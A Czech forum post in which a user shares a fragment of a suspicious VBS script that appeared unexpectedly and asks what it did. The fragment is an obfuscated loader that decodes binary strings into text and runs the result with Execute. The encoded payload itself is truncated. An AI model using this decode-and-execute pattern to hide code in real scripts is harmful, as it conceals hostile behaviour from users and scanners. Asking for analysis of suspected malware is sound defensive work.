z ničeho nic
Kód: Vybrat vše
Function eoiq(eoiqd)
For eoiqdr = 1 To Len(eoiqd)
eoiqdrg = eoiqdrg + (Mid(eoiqd, Len(eoiqd) - eoiqdr + (11 - 10), (152 - 151)) * ((121 - 119) ^ (eoiqdr - (5 - 4))))
Next
eoiq = eoiqdrg
End Function
eoiqdrgq = "100111#111100#1011011#..."
eoiqdrgqg = ""
For Each eoiqdrgqge In Split(eoiqdrgq, "#")
eoiqdrgqg = eoiqdrgqg & chr(eoiq(eoiqdrgqge))
next
Execute eoiqdrgqgcelý kód je v příloze
je někdo schopen mi říct, z přiloženého kódu poznat co vlastně onen vbs dělal?
Díky



Přispějete na provoz fóra?